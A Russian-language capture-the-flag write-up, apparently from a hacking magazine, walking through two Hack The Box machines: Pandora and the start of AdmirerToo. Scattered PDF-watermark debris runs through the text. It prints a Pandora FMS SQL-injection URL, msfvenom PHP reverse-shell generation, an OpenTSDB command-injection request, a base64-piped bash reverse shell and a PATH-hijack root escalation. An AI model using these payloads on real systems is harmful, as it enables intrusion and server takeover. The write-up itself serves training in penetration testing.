
 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ СИСТЕМУ МОНИТОРИНГА

PANDORA

В этом райтапе­ я покажу, как получить дос ­ туп к хосту­ благода­ ря­ информации­ , найден­ ­ ной при сканиро­ вании­ SNMP, затем мы проэкс­ плу­ ати­ руем­ уязвимос­ ти­ в Pandora FMS. Для повышения­ привиле­ гий­ проана­ ­ лизируем­ поведение­ пользователь­ ско­ го­ бинарного­ файла­ и поманипули­ руем­ переменными­ окружения­ . Это позволит­ нам захватить­ легкую­ по уровню­ сложности­ машину Pandora с площад­ ки­ Hack The Box.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.136 pandora.htb0

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Мы находим три открытых­ порта­ :

22 — служба­ OpenSSH 8.2p1;

80 — веб сервер­ Apache 2.4.41;

3128 — тоже веб сервер­ , но обычно­ на этом порте­ работает­ прокси­ сер ­ вер.

SSH мы пока что пропус­ каем­ и переходим­ к ознаком­ лению­ с веб сервером­ .

Посколь­ ку­ вначале­ у нас нет учетных­ данных­ , нет и смысла­ изучать­ службы­ , которые всегда­ требуют­ авториза­ ции­ (например­ , SSH). Единствен­ ное­ , что мы можем делать здесь, — перебирать­ пароли брутфорсом­ , но машины с HTB почти­ всегда­ можно­ пройти­ по другому­ . В жизни­ таких вариантов­ может не быть, к тому же есть шансы­ подобрать­ пароль или получить его при помощи социаль­ ной­ инженерии­ .

Главная­ страница­ сайта­

На первый­ взгляд, сайт нам ничего не дает. Попробу­ ем­ копнуть­ глубже­ , нап ­ ример с помощью WhatWeb. WhatWeb распозна­ ет­ веб технологии­ , в том чис ­ ле систему­ управления­ контентом­ (CMS), платформы­ для ведения блогов­ , пакеты статис­ тики­ и аналити­ ки­ , библиоте­ ки­ JavaScript, веб серверы­ и другие­ технологии­ . К тому же для этой программы­ есть более 1700 плагинов­ , которые могут быть использованы­ в агрессивном­ режиме сканиро­ вания­ . Если запустить­ программу­ с настрой­ ками­ по умолчанию­ , то будет выполнен­ всего­ один запрос­ .

whatweb http://pandora.htb0

Резуль­ тат­ сканиро­ вания­ WhatWeb

Но никакой новой информации­ снова­ не получаем­ . В таком случае­ прос ­ канируем­ скрытые­ директории­ в корневом­ каталоге­ сайта­ , к примеру­

с помощью fuf.

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле ­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL;

-fc — исключить­ из результата­ ответы­ с кодом 403.

Коман­ да­ получается­ следующая­ :

ffuf -u http://pandora.htb/FUZZ -t 256 -w directory_2.3_medium.txt0

Резуль­ тат­ сканиро­ вания­ каталогов­

И снова­ ничего важного­ . К данному­ моменту­ в моем чек листе­ остался не зак ­ рыт пункт сканиро­ вания­ портов­ UDP, поэтому­ я зарядил Nmap, и это дало пло ­ ды.

sudo nmap --min-rate=1500 -sU pandora.htb0

Резуль­ тат­ сканиро­ вания­ UDP-портов­

ТОЧКА ОПОРЫ

После­ сканиро­ ­вания наиболее­ вероятных­ портов­ UDP мы нашли­ службу­ SNMP на порте­ 161. SNMP — простой­ протокол­ управления­ сетью. Он при ­ меняется­ для мониторин­ ­га устройств­ в сети (например­ , маршру­ ­тиза­торов, коммутато­ ­ров, принтеров­ ). Тут следует­ сразу­ упомянуть­ два понятия:

MIB (management information base) — база данных­ информации­ управле ­

ния, хранящая­ данные­ обо всех объектах­ (параметрах­ и настрой­ ­ках) устройства­ ;

OID (object identifer) — числовой­ идентифика­ ­тор объекта­ в дереве MIB.

При работе с удален­ ной­ системой­ по SNMP все запросы­ выполняют­ ся­ через OID, отражающий­ положение­ объекта­ в дереве объектов­ MIB. Но чтобы­ получить все строки­ , нам сначала­ нужно­ пройти­ своеоб­ разную­ аутентифика­ ­ цию, указав­ строку­ — идентифика­ тор­ сообщес­ тва­ . Так как мы ее не знаем­ , нужно­ перебрать­ , к примеру­ с помощью Hydra. Перебирать­ будем по сло ­ варю из набора SecLists.

hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-

strings.txt pandora.htb snmp0

Перебор­ community-строки­

Все OID системы­ можно­ получить, просканиро­ вав­ устройство­ , например­ сле ­ дующей командой­ :

snmpbulkwalk -On -r1 -v2c -c public pandora.htb 10

Данные­ , полученные­ из системы­

Так мы получаем­ какую то информацию­ , связан­ ную­ с пользовате­ лем­ , а также­ список­ запущенных­ процес­ сов­ . В последнем­ фигурирует­ скрипт host_check, которому­ передаются­ учетные­ данные­ обнаружен­ ного­ пользовате­ ля­ . Они помогают­ авторизо­ вать­ ся­ по SSH.

Сессия­ первого­ пользовате­ ля­

ПРОДВИЖЕНИЕ

Теперь­ , когда­ мы получили­ доступ­ к хосту­ , нам нужно­ собрать­ информацию­ , которая поможет повысить привиле­ ­гии. Для поиска­ путей к этому­ я часто­ при ­ бегаю к скриптам­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­ и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ют­ сис ­

тему на автомате­ .

Загружа­ ем­ чудо скрипт на удален­ ный­ хост с помощью SSH.

scp linpeas.sh daniel@pandora.htb:/tmp/linpeas.sh0

Затем­ даем право­ на выполнение­ и запускаем­ .

chmod +x /tmp/linpeas.sh0

/tmp/linpeas.sh0

В выводе получим очень много­ информации­ , из которой обратим­ внимание­ на приложе­ ния­ с выставлен­ ным­ битом SUID.

Когда­ у файла­ установ­ лен­ атрибут­ setuid (S-атрибут­ ), обычный­ пользователь­ , запускающий­ этот файл, получает­ повышение­ прав до пользовате­ ля­ — вла ­ дельца­ файла­ в рамках­ запущенного­ процес­ са­ . После­ получения­ повышенных­ прав приложе­ ние­ может выполнять­ задачи, которые недоступны­ обычному­ пользовате­ лю­ . Из за возможнос­ ти­ состояния­ гонки­ многие­ операци­ онные­ системы­ игнориру­ ют­ S-атрибут­ , установ­ ленный­ shell-скриптам­ .

Среди­ них есть пользователь­ ­ская программа­ /usr/bin/pandora_backup.

Приложе­ ния­ с выставлен­ ным­ битом SUID

Но выполнить­ ее мы не можем, так как она доступна­ только­ группе­ поль ­ зователя­ matt.

Права­ на программу­

При поиске­ информации­ на хосте­ стоит­ просмотреть­ и уже знакомые­ нам сайты­ , так как они могут открыть пользовате­ лю­ дополнитель­ ные­ функции­ .

Запрос­ на порт 80

Так, при запросе­ страницы­ получим редирект в каталог /pandora_console/. Давай прокинем­ этот порт, то есть сделаем­ так, чтобы­ весь трафик­ , который приходит­ на определен­ ­ный порт локальной­ машины и идет с него, ретран­ ­сли ­ ровался­ на тот же порт целевого­ хоста­ . Делаем­ это с помощью стандар­ ­тно­го

SSH.

ssh -L 80:127.0.0.1:80 daniel@pandora.htb0

Попробу­ ем­ обратить­ ся­ к сайту­ с локальной­ машины. Для этого­ выполним­ зап ­ рос через браузер­ по адресу­ http://127.0.0.1/.

Главная­ страница­ Pandora FMS

Pandora FMS

Pandora FMS — это ПО для мониторин­ ­га компьютер­ ­ных сетей. Оно позволя­ ­ет отслеживать­ состояние­ и произво­ ­дитель­ность несколь­ ­ких параметров­ ОС, серверов­ , приложе­ ­ний и аппарат­ ­ных систем­ , прокси­ серверов­ , базы данных­ , веб серверов­ или маршру­ ­тиза­торов.

Внизу­ страницы­ мы можем увидеть­ версию­ ПО. Поэтому­ попробу­ ем­ поис ­ кать готовые экспло­ иты­ для этой версии­ . Если у тебя под рукой Kali Linux, то у тебя уже есть база экспло­ итов­ — достаточ­ но­ восполь­ зовать­ ся­ утилитой­

searchsploit.

Поиск­ экспло­ итов­ с помощью searchsploit

Находим­ четыре экспло­ ита­ для версии­ 7.0, но ни один из них либо не отра ­ ботал, либо не дал результата­ , как бы я с ними ни химичил. Тогда­ я поп ­ робовал найти­ какие нибудь отчеты­ или доклады­ запросом­ «pandora fms v7.0NG.742 vulns».

Поиск­ уязвимос­ тей­ в Google

CVE-2021-32099

Вторая­ ссылка­ из выдачи Google приводит­ нас на сайт, где упомяну­ ­ты иден ­ тификаторы­ CVE для нужной­ нам версии­ .

Список­ возможных­ уязвимос­ тей­

Две из них типа pre-auth, то есть нам не нужны­ учетные­ данные­ для эксплу­ ­ата ­ ции. Зная идентифика­ ­торы, мы можем найти­ PoC поисковиком­ Sploitus. Так, следующий­ запрос­ приведет­ к эксплу­ ­ата­ции SQL-инъекции­ , что установит­

в браузе­ ­ре cookie админа­ .

http://127.0.0.1/pandora_console/include/chart_generator.php?session_

id=%27%20union%20SELECT%201,2,%27id_usuario|s:0

5:%22admin%22;%27%20as%20data%20--%20SgGO0

После­ обновления­ нам доступна­ админис­ тра­ тив­ ная­ панель Pandora.

Админис­ тра­ тив­ ная­ панель Pandora

RCE

Для получения­ удален­ ­ного выполнения­ кода мы можем восполь­ ­зовать­ся фун ­ кцией­ установ­ ­ки расширений­ . Сначала­ сгенери­ ­руем реверс шелл на языке­ PHP с помощью MSFvenom.

msfvenom -p php/reverse_php LHOST=10.10.14.110 LPORT=4321 -f raw > r.

php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d

'\n' > r.php && xclip -selection clipboard -o >> r.php0

Затем­ откроем­ листенер­ с помощью netcat.

rlwrap -cAr nc -lvnp 43210

Теперь­ установим­ расширение­ . Для этого­ перейдем­ Admin tools → Extension manager → Extension uploader.

Загрузка­ расширения­

Вот только­ формат­ PHP система­ не принима­ ет­ . Почитав подробнее­ об этой функции­ , я узнал, что нужно­ загружать­ архив ZIP.

Сообще­ ­ние о загружен­ ­ном архиве­

Теперь­ перейдем­ к нашему файлу­ в каталоге­ http://127.0.0.1/ pandora_console/extensions/ и получим бэкконнект­ .

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Для удобной­ работы мы можем сгенери­ ­ровать ключи­ SSH (команда­ sshkeygen) и записать публичный­ ключ в файл /home/matt/.ssh/ authorized_keys. Это даст нам возможность­ авторизо­ ­вать­ся по SSH.

Теперь­ , когда­ мы имеем­ контекст­ пользовате­ ля­ matt, мы можем прис ­ тупить к анализу­ бинарника­ с установ­ ленным­ S-битом. Запустим­ приложе­ ние­ , чтобы­ просмотреть­ его вывод.

Вывод­ приложе­ ния­ pandora_backup

Вывод­ приложе­ ния­ pandora_backup (продол­ жение­ )

В выводе упомина­ ­ется команда­ tar, а в текущей директории­ создает­ ­ся архив сайта­ . Просмотрим­ , как выполняет­ ­ся tar, для этого­ запустим­ программу­

под локальным­ отладчиком­ ltrace. Это поможет нам увидеть­ вызовы функций­ из общих библиотек­ .

Запуск­ программы­ под ltrace

Таким­ образом­ , команда­ tar -cvf ... передается­ в функцию­ system. Уяз ­ вимость появилась­ из за того, что не задан полный­ путь к файлу­ программы­ . В этом случае­ поиск файла­ будет вестись­ в каждом­ каталоге­ , указан­ ­ном в переменной­ окружения­ PATH. Если мы создадим­ в каталоге­ /tmp свой файл tar и добавим в начало переменной­ PATH этот каталог, то при вызове tar наш скрипт запустится­ . В качестве­ исполняемо­ ­го кода откроем­ новый bash. Посколь­ ­ку приложе­ ­ние выполняет­ ­ся от имени­ суперполь­ ­зовате­ля, мы получим его права­ .

echo '#!/bin/sh' > tar

echo '/bin/bash -p' >> tar

chmod +x tar

PATH=/tmp$PATH

Создание­ скрипта­ и перезапись­ переменной­ окружения­

Когда­ все будет готово, запустим­ приложе­ ние­ и получим новую привиле­ гиро­ ­ ванную­ оболоч­ ку­ .

Флаг рута

Машина­ захвачена­ , можем забирать флаг рута.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ FAIL2BAN

В этом райтапе­ я покажу, как эксплу­ ати­

ровать Adminer, OpenTSDB и OpenCATS.

Для повышения­ привиле­

гий­ будем исполь ­

зовать комбинацию­

уязвимос­

тей­

и

 

 

неп ­

равильных­

конфигура­

ций­

ПО:

 

уязвимость­

произволь­

ной­

записи файлов­

OpenCATS

для конфигура­

ции­

 

whois, whois для получе ­

ния и инъекции­

команды­

терминала­

ОС

в Fail2ban и Fail2ban для ее активации­

. Все

это — в рамках­

прохож­ дения­

сложной­

машины AdmirerToo

с

площад­ ки­

 

Hack

The Box.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА

Добав­ ­ляем IP-адрес машины в /etc/hosts для удобства­ :

10.10.11.137 admirertoo.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Скрипт нашел всего­ два открытых­ порта­ : 22 — служба­ OpenSSH 7.9p1 и 80 —

веб сервер­ Apache 2.4.38.

Начина­ ­ем традици­ ­онно с веба.

Главная­ страница­ сайта­

Первым­ делом просканиру­ ем­ сайт на наличие скрытых­ ресурсов­ .

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле ­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL;

-fc — исключить­ из результата­ ответы­ с кодом 403.

Запус­ каем­ fuf:

ffuf -u http://admirertoo.htb/FUZZ -t 256 -w files_interesting.txt

-fc 4030

Резуль­ тат­ сканиро­ вания­ каталогов­ с помощью fuf

Ничего­ найти­ не удалось­ . Зато когда­ я попытался­ перейти­ на точно­ не сущес ­ твующую­ страницу­ , я получил ссылку­ на домен admirer-gallery.htb.

Ошибка­ Not Found

Добавим­ найден­ ный­ домен в файл /etc/hosts и повторим­ сканиро­ ­вание на новом домене. Так найдем­ новый поддомен­ !

10.10.11.137 admirertoo.htb admirer-gallery.htb0

ffuf -u http://admirer-gallery.htb -t 256 -w subdomains-top1million-

110000.txt -H 'Host: FUZZ.admirer-gallery.htb' -fs 140990

Резуль­ тат­ сканиро­ вания­ поддоменов­

Его тоже добавляем­ в /etc/hosts и получаем­ доступ­ к панели авториза­ ­ции

Adminer.

10.10.11.137 admirertoo.htb admirer-gallery.htb db.admirer-

gallery.htb0

Страница­ авториза­ ции­ Adminer

Adminer — это легковес­ ный­ инстру­ мент­ админис­ три­ рова­ ния­ СУБД, что то вроде­ легкого­ варианта­ phpMyAdmin. Так как авториза­ ция­ происхо­ дит­ по нажатию на кнопку­ , значит­ , учетные­ данные­ уже должны­ быть в исходном коде страницы­ .

Исходный­ код страницы­

Так мы находим имя пользовате­ ля­ и пароль. Но сама панель Adminer ничего, кроме­ номера версии­ , нам не раскры­ вает­ .

Рабочая­ панель Adminer

ТОЧКА ВХОДА

Раз мы знаем­ номер версии­ , стоит­ поискать­ существу­ ющие­ экспло­ ­иты. Делать это я рекомендую­ при помощи Google.

Поиск­ экспло­ итов­ для Adminer 4.7.8

Так мы находим инструк­ цию­ с описани­ ем­ уязвимос­ ти­ (PDF). Этот баг поз ­ волит нам просканиро­ вать­ внутренние­ ресурсы­ , а именно­ порты­ . Как указано­ в статье, запустим­ скрипт редиректор­ .

python2 redirect.py -p 80 http://127.0.0.10

Затем­ я решил перебрать­ возможные­ СУБД. Их список­ есть в докумен­ тации­ Adminer, а для перебора­ я использовал­ Burp.

Список­ поддержи­ ваемых­ СУБД

Запрос­ на сервер­

Вместо­ server вставляем­ СУБД, а вместо­ localhost — свой локальный­ IPадрес. Для некоторых­ СУБД получим ответ с записью () admirer_ro..., а в других­ случаях­ совсем­ ничего.

Ответ­ сервера­

Тогда­ я нашел исходники­ Adminer на GitHub и посмотрел­ , как указыва­ ются­ разные­ модули.

Список­ модулей

И первый­ же модуль elastic делает­ запрос­ на наш хост.

Запрос­ на сервер­

Логи­ редиректора­

А в браузе­ ре­ получаем­ код HTML-страницы­ с сервера­ . Это значит­ , что мы добились от сервера­ выполнения­ произволь­ ного­ запроса­ на другой­ ресурс.

Ответ­ сервера­

ТОЧКА ОПОРЫ

Теперь­ нам нужно­ найти­ внутренние­ сервисы­ и получить какую нибудь информацию­ от них. Искать их сканиро­ ­вани­ем через найден­ ­ную уяз ­ вимость — дело долгое­ и трудоем­ ­кое, поэтому­ начнем­ с поиска­ портов­ , под ­ ключение­ к которым фильтру­ ­ется. Для этого­ выполним­ SYN-сканиро­ ­вание.

nmap -p- -sS admirertoo.htb0

Резуль­ тат­ сканиро­ вания­ портов­

Мы нашли­ порт 4242. Получим ответ от сервиса­ , использовав­ описан­ ную­ выше атаку­ . Для обращения­ к интересу­ ющим­ нас страницам­ будем переза ­ пускать­ редиректор­ .

python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/0

Ответ­ сервиса­ на порте­ 4242

Там развернут­ OpenTSDB. Это распре­ делен­ ная­ и масшта­ биру­ емая­ база дан ­ ных времен­ ных­ рядов на основе­ HBase, которая собирает­ индикато­ ры­ кон ­ тролиру­ емых­ объектов­ и сохраня­ ет­ их во времен­ ной­ последова­ тель­ нос­ ти­ . Запрашивая­ параметры­ определен­ ного­ индикато­ ра­ в течение конкрет­ ного­ периода­ , пользователь­ может видеть происхо­ дящие­ изменения­ . Так как зап ­ росов придет­ ся­ выполнять­ много­ , добавим в настрой­ ках­ Burp Proxy опцию Match/Replace, которая будет автомати­ чес­ ки­ заменять в каждом­ запросе­ целевой модуль и адрес сервера­ .

Настрой­ ка­ поиска­ и замены

А теперь попробу­ ем­ узнать версию­ OpenTSDB. Посмотреть­ ее можно­ , обра ­ тившись­ по адресу­ /api/version/.

python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/api/

version/0

Получе­ ние­ версии­ продук­ та­

Получа­ ем­ версию­ 2.4.0. И снова­ ищем уязвимос­ ти­ в ней.

Поиск­ экспло­ итов­ для OpenTSDB 2.4.0

Эта версия­ уязвима­ , и для уязвимос­ ти­ есть PoC. Правиль­ ная­ эксплу­ ата­ ция­ может дать нам удален­ ное­ выполнение­ кода (RCE). Возможно­ , это потому, что значение­ полученных­ параметров­ записывает­ ся­ во времен­ ный­ файл, который потом выполняет­ ся­ . Для теста­ запустим­ tcpdump с фильтром­ про ­ токола­ ICMP и попробу­ ем­ пингануть­ свой хост с удален­ ного­ сервера­ .

sudo tcpdump -i tun0 icmp0

python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/

q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.

nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.

54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

Ответ­ сервера­

Но никакого­ пинга­ не пришло­ , а в ответе­ получаем­ какую то ошибку­ . Решение проблемы­ удалось­ найти­ на StackOverfow. Так, в PoC использует­ ­ся метрика­ sys.cpu.nice, которой не существу­ ­ет. Попробу­ ­ем узнать, какие есть мет ­ рики.

python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/api/

suggest?type=metrics'

Получе­ ние­ метрики­

Теперь­ вставим­ это значение­ в экспло­ ит­ и повторим­ запрос­ .

python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/

q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.

web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.

10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

Логи­ tcpdump

В логах tcpdump видим пришед­ ший­ пинг. Теперь сгенери­ руем­ реверс шелл и попробу­ ем­ получить бэкконнект­ . Для этого­ я восполь­ зуюсь­ онлайновым­ генератором­ Reverse Shell Generator. Ему нужно­ указать­ лишь локальный­ адрес, порт и шелл, и мы получим две команды­ : для запуска­ листенера­ и для создания­ обратного­ подклю­ чения­ . Вдобавок­ есть несколь­ ко­ возможнос­ тей­ для кодирования­ шелла­ .

Генери­ рова­ ние­ шелла­ Bash c кодировани­ ем­ Base64

Для запуска­ этого­ шелла­ используем­ конвей­ ер­ команд.

echo <base64 shell> | base64 -d | /bin/bash0

Но нагрузку­ нужно­ еще и закодировать­ как URL. Я пользуюсь­ расширени­ ­ем

HackVector для Burp Pro.

Кодиро­ вание­ команды­

Запус­ каем­ листенер­ и отправляем­ команду­ .

python2 redirect.py -p 80 -i 10.10.14.57 'http://127.0.0.1:4242/

q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.

web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(<COMMAND>)]&

wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

Получе­ ние­ бэкконнек­ та­

Продолжение статьи0

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

o m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

c

 

 

.

 

 

 

 

 

.

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

c

 

 

 

c

 

 

 

.

 

 

 

 

.

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ FAIL2BAN

ПРОДВИЖЕНИЕ

Так как на хосте­ развернут­ веб сервер­ , а на нем работает­ даже две CMS, то первое­ наше действие­ — попробовать­ получить какие нибудь учетные­ дан ­ ные пользовате­ ­лей. Высока вероятность­ , что эти же логины и пароли подой ­ дут и для локальных­ пользовате­ ­лей в системе­ . Я решил просто­ найти­ подс ­ троку­ pass в файлах­ CMS.

grep -iR 'pass' ./0

Поиск­ подстро­ ки­ pass

И в первом­ же файле­ видим целых два пароля, один из которых нам уже был известен.

Содер­ жимое­ файла­ servers.php

Пароль­ нашли­ , осталось­ посмотреть­ на существу­ ющих­ пользовате­ лей­ . Мож ­ но взглянуть­ на домашние­ каталоги­ .

Список­ домашних­ каталогов­

В системе­ всего­ один домашний­ каталог. С найден­ ным­ паролем удается­ авторизо­ вать­ ся­ от имени­ его владель­ ца­ .

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Поиск информации

Чтобы­ быстро­ найти­ возможнос­ ­ти для повышения­ привиле­ ­гий, я использую­ скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­ и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ют­ сис ­

тему на автомате­ . Как загрузить­ их на удален­ ный­ хост, я подробно­ описывал­ в предыду­ щих­ прохож­ дени­ ях­ .

Загружа­ ­ем версию­ для Linux на хост и запускаем­ скрипт.

Среди­ найден­ ­ной им важной­ информации­ в первую­ очередь­ замечаем­ порты­ , открытые­ только­ для локального­ хоста­ .

Список­ открытых­ портов­

На порте­ 8080 работает­ система­ управления­ контентом­ OpenCATS.

Настрой­ ки­ VirtualHost

На хосте­ активен­ Fail2ban.

Список­ сокетов

Также­ находим учетные­ данные­ для подклю­ чения­ к базе данных­ OpenCATS.

Учетные­ данные­ , найден­ ные­ в файлах­ PHP

Ну и последний­ момент — мы нашли­ файлы­ и каталоги­ , доступные­ для записи любому пользовате­ лю­ .

Список­ файлов­ , доступных­ для записи

OpenCATS CMS

